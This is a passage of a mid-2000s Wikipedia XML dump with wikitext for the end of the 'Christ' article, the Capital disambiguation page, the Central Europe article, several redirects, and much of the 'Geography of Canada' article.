The Greek term is [[cognate]] with [[Chrism]], meaning ''perfumed oil''; in fact ''Christ'' in classical Greek usage could mean ''covered in oil'', and is thus a literal and accurate translation of Messiah (''anointed'').

=== Anointing in the [[Old Testament]] ===
In the Hebrew [[faith]] tradition, [[anointment|anointing]] (with [[holy anointing oil|oil]]) was a key element of religious ceremony by which specific people were explicitly marked or set aside for a specific role: [[priest]]s, [[monarch|kings]], and [[prophet]]s. In some cases other materials were anointed with oil as well, to prepare them for religious ceremony. The importance of anointing is sometimes stressed by mentioning the need for it alongside reference to the person in question: e.g., &quot;The priest that is anointed shall carry of the blood into the tabernacle of the testimony&quot; ([[Leviticus|Lev]] [http://drbo.org/cgi-bin/d?b=drb&amp;bk=03&amp;ch=004&amp;l=16 4:16]). Many writers feel that some [[Jew]]s came to expect a leader who would embody the elements of priest, king, and prophet, and whom they therefore termed &quot;the Messias&quot;, which served as a title. The association with being anointed and being a leader makes these words in some senses equivalent. They expressed their hopes for this leader particularly in their prayers known as the [[Psalms]], which often make reference to God and  &quot;his anointed&quot;, many of which references some Christians interpret as prophetic.
=== Anointing in the [[New Testament]] and subsequent rites ===
Anointing is used in the New Testament to heal the sick, to bless for ministry, to give thanks to Jesus, and to prepare for burial. According to Eastern Orthodox and Roman Catholic traditions, as Christ was the anointed one, so is [[apostolic succession]], manifest in those priests who carry on the ministry of Christ, premised upon an anointing. Oil is used in a number of the [[sacrament]]s of these traditions. Practices vary slightly from East to West. Every Christian in the Roman [[Catholicism|Catholic]] and [[Eastern Orthodox]] churches is anointed with oil at least once, if he or she receives the sacraments according to each organization's plan.  Protestant organizations' rites, however, do not always include anointing with oil.

== History in the New Testament ==

''See [[Jesus]] and [[New Testament view on Jesus' life]]''.

In the [[New Testament]] it is both suggested that a savior, long awaited, had come and shall [[Second Coming|return]].

== Distinctions between &quot;Jesus&quot;, &quot;Christ&quot;, and &quot;God&quot; ==
The term &quot;Christ&quot; is often used synonymously with &quot;Jesus&quot;. A difference in usage is sometimes for variety of speech, and sometimes a subtlety intended to emphasize the totality of His person and function in [[Salvation#Christian views of salvation|Salvation]]. For example, Ott refers to &quot;Jesus&quot; when emphasizing an event in the New Testament, while he refers to &quot;Christ&quot; in discussing the nature of [[God]].

=== The Christian mainstream view ===

There is a temporal distinction between &quot;Jesus&quot; and &quot;Christ&quot;, not to mention &quot;God&quot;. God, in the Christian belief system, exists outside of the time continuum and is not restricted by the confines of time (e.g., limitations, aging, development, evolution, etc.).

&quot;Jesus&quot;, on the other hand, is the temporal manifestation of the &quot;[[Logos]]&quot; -- the divine &quot;Word&quot; of God, and, in Christian Trinitarian parlance, the second person of the [[Holy Trinity]] (Father, Son and Holy Spirit). &quot;Jesus&quot; was born, lived, suffered, and died. However, for the Christian believer, the story of &quot;Jesus&quot; does not end there. With the Resurrection, there is the fulness of recognition within the Christian community of the interconnectedness of the [[Logos]] and the person of &quot;Jesus&quot; -- the human person now intensely glorified and beyond the confines of the temporal sphere of events and effects.

&quot;Christ&quot; is an appellation in Greek (Χριστός), corresponding to the Hebrew word &quot;[[Messiah]]&quot; -- the [[Savior]] or Anointed One. This term pertains more to the role to be performed by the &quot;chosen one of God&quot; (another possible translation of the term &quot;Christ&quot;). The problem with this word for the person of Jesus is that the term means different things to different people. Most especially, the term &quot;Messiah&quot; refers most often in Jewish beliefs of the Roman era to the hoped-for leader who would not only be a spiritual leader but a political one as well. Hence, we have grounds for why this term might cause consternation and skepticism -- if not downright hostility -- not only for Romans, but also for the Jewish leadership of the Temple at the time of Jesus.

=== The Gnostic Christ ===
The [[gnosticism|gnostic]]s generally believed not in a Jesus who was both a Divine Person and a human person, but in a spiritual Christ who indwelt Jesus. Through the spiritual path of gnosticism, followers of these schools believed that they could experience the same knowledge, or ''[[gnosis]]''&lt;!-- suggestion: don't disambiguate &quot;gnosis&quot; --&gt;. Their theology was or is [[dualism|dualistic]] and premised upon demigods, salvation for the elect, and the actions of God who sends periodic saviors. This was considered heresy by the Early Church as per the first [[Ecumenical Council]], which occurred at Nicaea in 325 ad, although condemnation of the belief existed well before.

=== The esoteric Christian tradition ===

In the western esoteric tradition, [[Essenes|Essenian]] and later [[Rosicrucian]], there is a distinction to be made between [[Jesus]] and the [[Christ]] {{ref|Christ_esoteric_Christian_tradition}}. Jesus is considered an high Initiate of the human life wave (which evolves under the cicle of [[reincarnation|rebirth]]) and of a singularly pure type of mind, vastly superior to the great majority of the present humanity. He was educated during his youth among the Essenes and thus prepared himself for the greatest honor ever bestowed upon a human being: to deliver his pure, passionless, highly evolved physical body and [[etheric body|vital body]] (already attuned to the high vibrations of the 'life spirit'), in the moment of the [[Baptism of Jesus|Baptism]], to the Christ being for His ministry in the physical world. Christ is described as the highest Spiritual Being of the life wave called [[Archangels]] and has completed His union (&quot;the Son&quot;) with the second aspect of [[The_Rosicrucian_Cosmo-Conception#The_Rosicrucian_conception_of_God_and_the_scheme_of_evolution|God]].

''See also [[Second_Coming#Esoteric_Christian_tradition|Second Coming (of the Christ)]] according to the [[Esoteric Christianity|esoteric Christian]] tradition.''

== Expansions and appropriations of &quot;Christ&quot; ==
&quot;Christ&quot; has taken on such power and significance as a theological, religious and/or devotional term that it has been appropriated and/or expanded by various theologians and religious writers so as to take it beyond its merely Christian context.  The development of Judeo/Christian religious concepts in a world religious context may be startling to the orthodox, but is part of the full picture and contemporary meaning of the term &quot;Christ&quot;.

[[Paramahansa Yogananda]]  -  writes about a &quot;Christ Consciousness&quot; interchangeably with &quot;[[Krishna]] Consciousness&quot;

[[Matthew Fox]] - speaks of &quot;the [[Cosmic]] Christ&quot;
etc.

One belief is the idea or concept that 'Jesus ''became'' Christ;' i.e. his 'flesh was transformed to [[spirit]].' By taking a spiritual and good path through life, Jesus was reunited with his true holy nature ([[redemption]]) and preserved forever in God.

However in this view, this psychic force is often called 'the Christ,' or sometimes 'Christ consciousness,' etc; drawing a separation between God (whose nature some maintain we cannot fathom or comprehend) and the [[Holy Spirit]], which has experience (through Jesus) and therefore compatibility with our mortal and frail humanity. This separation of spiritual concepts is embodied in the Christian [[Trinity]].

In many branches of Christianity, some limitations on extra-cultural interactivity result in [[Dogma|dogmatic]] interpretations of the meaning of &quot;the Christ&quot; to refer only to &quot;Christendom&quot; (i.e. confirmed &quot;Christians&quot;) as opposed to ''all of spiritual humanity,'' that may have equal devotion to 'the Christ,' yet may refer to it by another name: i.e. [[God]], [[Krishna]], etc.

In Eastern religious traditions, for example, &quot;God&quot; remains mysterious and unknowable and therefore only implied; described instead by personifications
([[deities]]) which are manifestations of particular aspects of God's power. In mortal form, the Christian Jesus is akin to these personifications, with the caveat that he alone is the deity; all of God's powers that are relevant or understandable to man, are manifest through Jesus. Thus, where ''Christ'' is a synonym for the Holy Spirit, the Trinity of Father (God) Son (Jesus) and Holy Spirit (Christ) are unified, though each remain distinct.

== Slang usage ==
The [[interjection]] &quot;Christ!&quot; is often used as a sign of surprise or anger, without a direct religious reference - that is, as a [[profanity|swear word]]. Devout Christians find this usage blasphemous, as they feel it cheapens God's Holy Name and violates the Mosaic [[Ten Commandments|Commandment]] against taking His name in vain.

&quot;Christ&quot; is also the name of a British [[humour]] [[fanzine]].[http://www.spellingmistakescostlives.com/christ/]

== Reference literature ==
# {{note|Christ_esoteric_Christian_tradition}}, Max Heindel, ''[[The Rosicrucian Cosmo-Conception]]'' (Part III, Chapter XV: [http://www.rosicrucian.com/rcc/rcceng15.htm Christ and His Mission]), November 1909, ISBN 0-911274-34-0
*Ludwig Ott, ''Fundamentals of Catholic Dogma'', 1957.
*Joshua McDowell and Don Stewart, ''Handbook of Today's Religions'', Nashville: Thomas Nelson Publishers, 1983.
*Tom Harpur, &quot;The Pagan Christ. Recovering the Lost Light.&quot; Thomas Allen Publishers, Toronto, (2004)

== External links ==

*[http://www.newadvent.org/cathen/08374x.htm A. J. Maas, ''Origin of the Name of Jesus Christ'', Catholic Encyclopedia]
*[http://www.geocities.com/Athens/Crete/6111/pneumatikos/gnostic.htm Paul A. Hughes, ''The Gnostic Christ: Gnosticism vs. Christianity'']
*[http://www.salagram.net/jesus-christ-kristos-page.htm ''The Etymological Derivation Of The Name &quot;Christ&quot;'', NZs Hare Krishna Spiritual Network]
*[http://www.hermes-press.com/Perennial_Tradition/esoteric_christianity.htm Norman D. Livergood, ''The Christ concept in Esoteric Christianity'']

[[Category:Jesus]]
[[Category:Christianity]]
[[Category:Gnosticism]]
[[Category:Esoteric Christianity]]
&lt;!-- The below are interlanguage links. --&gt;

[[de:Christus]]
[[cs:Kristus]]
[[eo:Kristo]]
[[es:Cristo]]
[[et:Kristus]]
[[ia:Christo]]
[[ja:キリスト]]
[[nl:Christus]]
[[pt:Cristo]]
[[sv:Kristus]]
[[tl:Kristo]]
[[zh:基督]]</text>
    </revision>
  </page>
  <page>
    <title>CountriesV</title>
    <id>5186</id>
    <revision>
      <id>15903414</id>
      <timestamp>2004-09-20T22:20:19Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>Capital (disambiguation)</title>
    <id>5187</id>
    <revision>
      <id>40176282</id>
      <timestamp>2006-02-18T19:24:27Z</timestamp>
      <contributor>
        <username>Rocastelo</username>
        <id>163463</id>
      </contributor>
      <minor />
      <comment>[[gl:Capital (homónimos)]]</comment>
      <text xml:space="preserve">'''Capital''' is a word with many potential meanings:

*[[Capital]], the city or town that contains the government.
*[[Capital (architecture)]], the crowning member of a pillar or column.
*[[Capital (economics)]], real or financial wealth.
*''[[Capital (magazine)]]'', a French-language magazine.
*[[Capital letters]], one type of case in a writing system.
*[[Capital punishment]], a sentence of death.
*[[Capitol]], buildings used to house the legislative body of a certain sovereignty, which is often confused with &quot;capital&quot;.
*[[Cultural capital]], forms of knowledge, skill and education.
*[[Das Kapital]], a book by Karl Marx which is called ''Capital'' in English.
*[[Five Capitals]], an economic model.
*[[Human capital]], defining and categorizing peoples' skills and abilities as used in employment and otherwise contribute to the economy.
*[[Social capital]], resources based on group membership, relationships, networks of influence and support.

{{disambig}}

[[es:Capital]]
[[fr:Capitale]]
[[gl:Capital (homónimos)]]
[[it:Capitale]]
[[he:ערי בירה]]
[[nl:Kapitaal]]
[[pl:Stolica]]
[[simple:Capital]]
[[tl:Kapital (paglilinaw)]]</text>
    </revision>
  </page>
  <page>
    <title>Central Europe</title>
    <id>5188</id>
    <revision>
      <id>40765347</id>
      <timestamp>2006-02-22T21:51:45Z</timestamp>
      <contributor>
        <username>Hede2000</username>
        <id>284384</id>
      </contributor>
      <minor />
      <comment>+da:</comment>
      <text xml:space="preserve">[[Image:European_Regions_16.png|right|thumb|300px|Regions of Europe]]
'''Central Europe''' is the [[region]] lying between the variously and vaguely defined areas of [[Eastern Europe|Eastern]] and [[Western Europe|Western]] [[Europe]]. In addition, [[Northern Europe|Northern]], [[Southern Europe|Southern]] and [[Southeastern Europe]] may variously delimit or overlap into Central Europe. The term has come back into fashion since the end of the [[Cold War]], which had divided Europe politically into East and West, with the [[Iron Curtain]] splitting &quot;Central Europe&quot; in half. With exception for a kernel from Poland to Hungary, the understanding of the concept varies considerably from nation to nation, but also from time to time.

The region is usually used to mean: 
*[[Germany]]
*[[Switzerland]]
*[[Liechtenstein]]
*[[Poland]]
*[[Czech Republic]]
*[[Slovakia]]
*[[Austria]]
*[[Hungary]]
*[[Slovenia]]

Sometimes, [[Croatia]] is also considered Central European.

Rather than a physicial entity, Central Europe is a concept of shared history, in opposition to ''the East'' represented by the [[Ottoman Empire]] and [[Imperial Russia]], and up to [[World War I]] distinguished from ''the West'' as the area of relative political [[conservatism]] opposing the [[liberalism]] of the West and the influences of the [[French Revolution]]. Following World War I, and even more so after [[World War II]], the liberal/conservative divide between West and East became obsolete and was replaced by a democratic/authoritarian divide.

In the English language, the concept of ''Central Europe'' fell out of usage during Cold War, shadowed by notions of ''Eastern'' and ''Western Europe''. It may be seen in historical and cultural contexts, where it denotes areas where [[German people|Germans]] settled and mixed with [[Slavs]] and [[Magyars]], and where [[Roma people|Roma]] and [[Jew]]ish minorities made important cultural contributions. This notion has lost much of its relevance due to [[the Holocaust]] and the [[Expulsion of Germans after World War II]] over the [[Oder-Neisse line]]. However, the term is being increasingly used again, with the recent expanses of [[European Union]].[[Image:Hist central europe.JPG|thumb|300px|[[Historical regions of Central Europe|Historical lands and provinces in Central Europe]].]]

It is sometimes joked that ''Central Europe'' is the part of the continent that is considered Eastern by Western Europeans and Western by Eastern Europeans.

== Between the Alps and the Baltics ==
[[image:Central-europe.png|thumb|300px|The Alpine Countries and the Visegrád Group (Political map, 2004)]]

Geography strongly defines Central Europe's borders to its neighbouring regions to the North and South: namely [[Northern Europe]] (or [[Scandinavia]]) across the [[Baltic Sea]] and the [[Apennine peninsula]] (or [[Italy]]) across the [[Alps]]. The borders to [[Western Europe]] and [[Eastern Europe]] are geographically a lot more floating and for this reason [[culture]] and geographical definitions migrate easier West-East then South-North. To note the [[Rhine]] river which runs South-North through Western [[Germany]] is a speciality.

This may explain why according to most English-language encyclopedias, such as the [[Encyclopædia Britannica]], the [[1911 Encyclopædia Britannica]] and the [[Columbia Encyclopedia]], as well as the [[CIA World Factbook]], the term ''Central Europe'' is taken to include:
{| border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;10&quot;
|
* [[Switzerland]]
* [[Germany]]
* [[Liechtenstein]]
* [[Austria]]
* [[Slovenia]]
|width=&quot;2&quot; bgcolor=&quot;#f0f246&quot;|
||
[[Alpine countries]]&lt;br /&gt;
(west to east)
|-
|
* [[Poland]]
* [[Czech Republic]]
* [[Slovakia]]
* [[Hungary]]
|width=&quot;2&quot; bgcolor=&quot;#65d782&quot;|
||
[[Visegrád group]]&lt;br /&gt;
(north to south)
|}

In the article on Europe, the [[1913 Catholic Encyclopedia]] counts Germany (that then reached east of the Baltic) but not Switzerland to ''Central Europe;'' Liechtenstein is not mentioned. In other articles of that encyclopedia, [[France]] and Switzerland are included.

The notion of ''Alpine Countries'' extending to the [[Baltic Sea]] and the [[North Sea]] is not uncontroversial. While Germany without any doubt has formerly been considered a Central European land, both by Germans and by others, it has at least for the 19th and 20th century had an identity and self-image as located ''North of the Alps'' rather than ''in the Alps.'' This holds true even for [[Bavaria]], the most Alpine of the German states, where most people live below the [[Alps]].

== Culturally Central-European ==
Several other [[country|countries]] have regions that retain a Central European character as well, having historically been part of the central [[Europe]]an [[monarchy|kingdom]]s and [[empire]]s such as the [[Holy Roman Empire]], the [[Kingdom of Hungary]], the [[Habsburg monarchy]], the [[Polish-Lithuanian Commonwealth]], and [[Imperial Germany]]. These are:
* [[Belarus]] (western parts)
* [[Croatia]]
* [[Lithuania]] 
* [[Romania]] ([[Transylvania]])
* [[Serbia and Montenegro]] ([[Vojvodina]], [[Boka Kotorska]])
* [[Ukraine]] ([[Galicia (Central Europe)|Galicia]], [[Volhynia]], [[Podolia]])

== Central Europe behind the Iron Curtain ==
Following [[World War II]], large parts of Europe that were culturally and historically Western became part of the [[Eastern bloc]], which effectively neutralized the concept of Central Europe. Following the dissolution of the [[Warsaw Pact]] and the end of the [[Cold War]], this distinction has again come into use, often to cover those countries that had been Warsaw Pact members but are now members of [[NATO]] and the [[European Union]].

During the Cold War, the English term ''Central Europe'' was increasingly applied only to the westernmost former Warsaw Pact countries (Poland to Hungary) to specify them as communist states that were culturally tied to Western Europe. This usage continued after the end of the Warsaw Pact when these countries started to undergo transition.

In everyday usage, this is the most common meaning of ''Central Europe'', not least among Central Europeans who wish to distance themselves from &quot;''Eastern Europe''&quot;.

So defined, the following countries are entirely included:
* [[Poland]]
* [[Czech Republic]]
* [[Slovakia]]
* [[Hungary]]
* [[Slovenia]]

Usually excluded are:
* the [[Baltic countries]]
* [[Russian Orthodox Church|Russian Orthodox]] and [[Muslim]] lands
* the [[Balkans]]

Although Slovenia as a part of [[Yugoslavia]] was strictly speaking not a member of the [[Warsaw Pact]], Slovenia's 20th century history has much in common with that of the other Central European countries. [[East Germany]], on the other hand, was from [[1949]]&amp;ndash;[[1990]] a loyal member of the Warsaw Pact, but would now rather be seen as the inheritor of Protestant [[Prussia]]n culture than of Catholic ''Central Europe.''

== The new members of the European Union ==
After the [[enlargement of the European Union]] of [[1 May]] [[2004]], the term ''Central Europe'' is sometimes incorrectly used in a way that means &quot;the new members of EU&quot;&amp;mdash; from [[Estonia]] to [[Malta]]&amp;mdash; perhaps in particular by writers who want to avoid the term coined by [[Donald Rumsfeld]], ''[[New Europe]]'', which may be perceived to carry too much American ignorance of European matters. [[Malta]] and [[Cyprus]], as well as [[Estonia]] and [[Latvia]], are sometimes now also included, but as these new members of the EU are clearly more differentiated from most of the western EU members economically it is arguably an inaccurate construction in its own right. It can be also questioned what there is that unites the nations of a region so constructed apart from a less advanced economy. A usage that closer adheres to the common cultural traits, and also the shared experience of post-war [[Stalinism|Stalinist]] rule, may be less prone to cause confusion.

== Remnants of the Holy Roman Empire ==
The [[German language|German]] term ''[[Mitteleuropa]]'' (or alternatively its literal translation into English, ''Middle Europe'') is sometimes used in English to refer to an area somewhat larger than most conceptions of 'Central Europe'; it refers to territories under German(ic) cultural hegemony until [[World War I]] (encompassing Austria and Germany in their  [[interbellum]] formations but usually excluding the [[Baltic countries]] north of [[East Prussia]]).

{{Region}}

[[Category:Central Europe| ]]

[[ar:أوروبا الوسطى]]
[[bg:Централна Европа]]
[[cs:Střední Evropa]]
[[da:Centraleuropa]]
[[de:Mitteleuropa]]
[[eo:Mez-Eŭropo]]
[[fr:Europe centrale]]
[[ko:중앙유럽]]
[[hr:Srednja Europa]]
[[is:Mið-Evrópa]]
[[ka:ცენტრალური ევროპა]]
[[hu:Közép-Európa]]
[[nl:Centraal-Europa]]
[[ja:中央ヨーロッパ]]
[[pl:Europa Środkowa]]
[[pt:Europa central]]
[[ro:Europa Centrală]]
[[ru:Центральная Европа]]
[[scn:Europa cintrali]]
[[sl:Srednja Evropa]]
[[sv:Centraleuropa]]
[[zh:中欧]]</text>
    </revision>
  </page>
  <page>
    <title>Canada/self-image</title>
    <id>5190</id>
    <revision>
      <id>15903417</id>
      <timestamp>2004-03-05T02:22:57Z</timestamp>
      <contributor>
        <username>RedWolf</username>
        <id>27822</id>
      </contributor>
      <minor />
      <comment>-&gt; Canadian identity</comment>
      <text xml:space="preserve">#REDIRECT [[Canadian identity]]</text>
    </revision>
  </page>
  <page>
    <title>Canada/History</title>
    <id>5191</id>
    <revision>
      <id>15903418</id>
      <timestamp>2002-05-19T11:29:11Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[History of Canada]]</comment>
      <text xml:space="preserve">#redirect [[History of Canada]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Canada</title>
    <id>5192</id>
    <revision>
      <id>41874156</id>
      <timestamp>2006-03-02T07:35:30Z</timestamp>
      <contributor>
        <username>E Pluribus Anthony</username>
        <id>266462</id>
      </contributor>
      <minor />
      <comment>rv: this makes it unclear: in total area ... Russia, Canada, US, China; in land area: Russia, China, US, Canada</comment>
      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0.5em 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;&lt;big&gt;'''Canada'''&lt;/big&gt;&lt;/big&gt;
|-
| style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=&quot;2&quot; |
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|-
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Map_Canada_political+geo.jpg|300px|center|Map Of Canada]]
|}
|-
| '''[[Continent]]''' || [[North America]]
|-
| '''[[Geographic coordinates]]''' || {{coor dm|60|00|N|95|00|W|type:country}}
|- 
| '''[[Area]]'''&lt;br&gt;&amp;nbsp;- Total &lt;br&gt;&amp;nbsp;- Water
| [[List of countries by area|Ranked 2nd]]&lt;br&gt;[[1 E12 m²|9,984,670 km²]]&lt;br&gt; 891,163 km² (8.92%)
|-
| '''Coastline''' || 202,080 km (125,567&amp;nbsp;[[mile|mi]])
|-
| '''Highest point''' || [[Mount Logan]], 5,959 m&amp;nbsp;/&amp;nbsp;19,550 ft

|-
| '''Lowest point''' || [[Atlantic Ocean]], 0 m
|-
| '''Longest river''' || [[Mackenzie River]], 4,241 km (2,635&amp;nbsp;[[mile|mi]])
|-
| '''Largest inland body of water''' || [[Great Bear Lake]] 31,153 km² (12,021&amp;nbsp;[[square mile|sq.&amp;nbsp;mi]])
|-
| '''Land Use'''&lt;br&gt;&amp;nbsp;- Arable land&lt;br&gt;&amp;nbsp;- Permanent&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;crops&lt;br&gt;&amp;nbsp;- Permanent&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;pastures&lt;br&gt;&amp;nbsp;- Forests and&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;woodlands&lt;br&gt;&amp;nbsp;- Other ||&lt;br&gt;5 %&lt;br&gt;&lt;br&gt;0 %&lt;br&gt;&lt;br&gt;3 %&lt;br&gt;&lt;br&gt;54 %&lt;br&gt;38 % (1993 est.)
|- 
| '''[[Climate]]''': || [[Temperate]] to [[arctic]]
|-
| '''Natural resources''' ||  [[iron]] ore, [[nickel]], [[zinc]], [[copper]], [[gold]], [[lead]], [[molybdenum]], [[potash]], [[silver]], fish, timber, wildlife, [[coal]], [[petroleum]], [[natural gas]], [[hydropower]]
|-
| '''Environmental issues''' || [[air pollution|air]] and [[water pollution]], [[acid rains]]
|}

The '''[[geography]] of [[Canada]]''' is vast and diverse.  Occupying most of the northern portion (precisely 41%) of the [[continent]] of [[North America]], Canada is the [[list of countries by area|world's second largest country]] in total area after [[Russia]].  

Canada spans an immense territory between the [[Pacific Ocean]] to the west and the [[Atlantic Ocean]] to the east (hence the [[List of state mottos|country's motto]]), with the [[United States]] to the south ([[contiguous United States]]) and northwest ([[Alaska]]), and the [[Arctic Ocean]] to the north; [[Greenland]] is to the northeast.  Off the southern coast of [[Newfoundland]] lies [[Saint-Pierre and Miquelon]], an [[Collectivité d'outre-mer| overseas community]] of [[France]]. Since 1925, Canada has claimed the portion of the [[Arctic]] between 60°W and 141°W [[longitude]] to the [[North Pole]]; however, [http://atlas.gc.ca/site/english/maps/historical/territorialevolution/1927/1 this claim] is not universally recognized.

Covering [[1 E12 m²|9,984,670]] [[square kilometre|km²]] or 3,855,103 [[square mile]]s (Land:&amp;nbsp;9,093,507&amp;nbsp;km² or 3,511,023&amp;nbsp;mi²; Water: [[1 E11 m²|891,163 km²]]&amp;nbsp;or&amp;nbsp;344,080&amp;nbsp;mi²),  Canada is slightly less than three-fifths as large as Russia, less than 1.3 times larger than [[Australia]] though slightly smaller than [[Europe]], and more than 40.9 times larger than the [[United Kingdom|UK]].  In total [[area]], Canada is slightly larger than the [[United States|US]] and (both in turn) [[People's Republic of China|China]]; however, Canada is somewhat ''smaller'' than both in land area (China is 9,596,960 km² / 3,705,407&amp;nbsp;mi² and the US is 9,161,923 km² / 3,537,438&amp;nbsp;mi²), ranking fourth.

The northernmost settlement in Canada (and in the world) is [[CFS Alert|Canadian Forces Station (CFS) Alert]] (just north of [[Alert, Nunavut]]) on the northern tip of [[Ellesmere Island]] – [[latitude]] 82.5°N – just 834 kilometres (518&amp;nbsp;[[mile|mi]]) from the North Pole.

The [[magnetic north|magnetic North Pole]] lies within Canadian boundaries; however, recent measurements indicate it is moving towards [[Siberia]].

==Physical geography==
[[image:Canada-satellite.jpg|thumb|300px|left|A satellite composite image of Canada from space.  [[Boreal]] forests prevail throughout the country, ice is prominent in northerly [[Arctic]] regions and through the [[Rocky Mountains]], and the relatively flat [[Prairies]] facilitate productive agriculture.  The [[Great Lakes]] feed the [[St. Lawrence River]] (in the southeast) where lowlands host much of Canada's population.]]The [[physical geography]] of Canada is widely varied.  Encompassed by the [[Geography of Canada#Extreme points|extreme points of Canada]], it covers 9,984,670 [[square kilometre|km²]] (3,855,103&amp;nbsp;sq.&amp;nbsp;mi) and a panoply of various geoclimatic regions.  Canada also encompasses vast maritime territories, with the world's longest coastline of 202,080 [[kilometre]]s (125,567&amp;nbsp;[[mile|mi]])

===Appalachian Mountains===
:''Main articles: [[Appalachian Mountains]]''

The Appalachian [[mountain range]] extends from [[Alabama]] in the southern United States through the [[Gaspé Peninsula]] and the [[Atlantic Provinces]], creating rolling hills indented by river valleys. It also runs through parts of southern [[Quebec]]. &lt;!-- how is next sentence relevant? --&gt; [[Prince Edward Island]], in contrast to its neighbouring provinces, is comprised entirely of sedimentary sandstone.

The Appalachian mountains (more specifically the [[Notre-Dame Mountains|Notre-Dame]] and [[Long Range Mountains]]) are an old and eroded range of mountains, approximately 380 million years in age. Notable mountains in the Appalachians include [[Mount Jacques-Cartier]] (Quebec, 1,268&amp;nbsp;m&amp;nbsp;/&amp;nbsp;4,160&amp;nbsp;[[foot (unit of length)|ft]]) and [[Mount Carleton]] (New Brunswick, 817&amp;nbsp;m&amp;nbsp;/&amp;nbsp;2,680&amp;nbsp;ft). Parts of the Appalachians are home to a rich [[endemic (ecology)|endemic]] flora and fauna, and are considered to have been [[nunatak]]s during the last [[glaciation]] era.

===Great Lakes and St. Lawrence Basin===
[[image:Great Lakes from space.jpg|thumb|250px|right|The Great Lakes from space]]
:''Main articles: [[Great Lakes]] and [[St. Lawrence River]]''

The southern parts of Quebec and Ontario, in the section of the [[Great Lakes]] and [[St. Lawrence River|St. Lawrence]] basin often called [[St. Lawrence Lowlands]], is another particularly rich sedimentary plain. Prior to its [[colonization]] and heavy [[urban sprawl]] of the 20th century, this area was home to large [[mixed forest]]s covering a mostly flat area of land between the [[Appalachian Mountains]] and the [[Canadian Shield]] Most of this forest has nowadays been cut down through agriculture and logging operations, but the remaining forests are for the most part heavily protected.

While the relief of these lowlands is particularly flat and regular, a group of [[batholite]]s known as the [[Monteregian Hills]] are spread along a mostly regular line across the area. The most notable are [[Montreal]]'s [[Mount Royal]] and [[Mont Saint-Hilaire]]. These hills are known for a great richness in rare [[mineral]]s.

===Canadian Shield===
:''Main article: [[Canadian Shield]]''

The northern parts of [[Saskatchewan]], [[Manitoba]], [[Ontario]], and [[Quebec]], as well as most of [[Labrador]], the [[mainland]] portion of the province of [[Newfoundland and Labrador]], are located on a vast rock base known as the [[Canadian Shield]]. The Shield mostly consists of eroded hilly terrain and contains many important [[river]]s used for [[hydroelectricity|hydroelectric]] production, particularly in northern [[Quebec]] and [[Ontario]]. The shield also encloses an area of wetlands, the [[Hudson's Bay]] [[lowlands]]. Some particular regions of the Shield are referred as [[mountain range]]s. They include the [[Torngat Mountains|Torngat]] and [[Laurentian Mountains]].

The Shield cannot support intensive [[agriculture]], although there is subsistence agriculture and small dairy farms in many of the river valleys and around the abundant lakes, particularly in the southern regions.  [[Boreal forest]] covers much of the shield, with a mix of [[conifers]] that provide valuable timber resources. The region is known for its extensive [[mineral]] reserves.

===Canadian Interior Plains===
:''Main article: [[Canadian Prairies]]''

The Canadian prairies are part of a vast [[sedimentary]] [[Great Plains|plain]] covering much  of [[Alberta]], southern [[Saskatchewan]], and southwestern [[Manitoba]], as well as much of the region between the Rocky Mountains and the [[Great Slave Lake|Great Slave]] and [[Great Bear Lake|Great Bear]] lakes in [[Northwest Territories]]. The prairies generally describes the expanses of (largely flat) arable agricultural land which sustain extensive grain farming operations in the southern part of the provinces. Despite this, some areas such as the [[Cypress Hills]] and [[Alberta Badlands]] are quite hilly.

===Western Cordillera===
[[Image:CPRinYoho.jpg|thumb|left|250px|A [[Canadian Pacific Railway|CPR]] train climbs through [[Yoho National Park]] towards [[Kicking Horse Pass]].]]
:''Main articles: [[Rocky Mountains]]'', ''[[Pacific Coast Ranges]]''

The Canadian cordillera, part of the [[American cordillera]], stretches from the [[Rocky Mountains]] in the east to the [[Pacific Ocean]].

The [[Canadian Rockies]] are part of a major [[continental divide]] that extends north and south through western North America and western South America. The [[Columbia River|Columbia]] and the [[Fraser River]]s have their headwaters in the Canadian Rockies and are the second and third largest rivers respectively to drain to the west coast of North America. Immediately west of the mountains is a large interior plateau encompassing the [[Chilcotin]] and [[Cariboo]] regions in central BC (the [[Fraser Plateau]]) and the [[Nechako Plateau]] further North. The [[Peace River (Canada)|Peace River]] Valley in northeastern British Columbia is Canada's most northerly agricultural region, although it is part of the prairies.  The dry, temperate climate of the [[Okanagan]] Valley in South central BC provides ideal conditions for fruit growing and a flourishing wine industry.  The southern Okanagan contains Canada's only [[desert]].  This arid grassland is a continuation of the intermontane desert which extends from Mexico north through the U.S. and ends just north of [[Osoyoos]] BC.  Between the plateau and the coast is a second mountain range, the [[Coast Mountains]].

[[Image:MountLogan.jpg|right|thumb|250px|[[Mount Logan]], one of the [[Saint Elias Mountains]] in [[Yukon]]; at 5,959 m, Canada's highest point and second highest in North America.]]West of Ontario, the broad, flat [[Canadian Prairies]] spread toward the [[Rocky Mountains]], which separate them from [[British Columbia]].

On the south coast [[Vancouver Island]] is separated from the mainland by the continuous [[Strait of Juan de Fuca|Juan de Fuca]], [[Strait of Georgia|Georgia]], and [[Johnstone Strait|Johnstone]] [[Strait]]s. Those straits include a large number of islands, notably the [[Gulf Islands]]. North, near the [[Alaska]]n border, the [[Queen Charlotte Islands]] lie across [[Hecate Strait]] from the [[Bella Coola]] region. Other than in the plateau regions of the interior and the river valleys, most of British Columbia is coniferous forest.

===Canadian Arctic===
:''Main article: [[Northern Canada]]''&lt;br&gt;
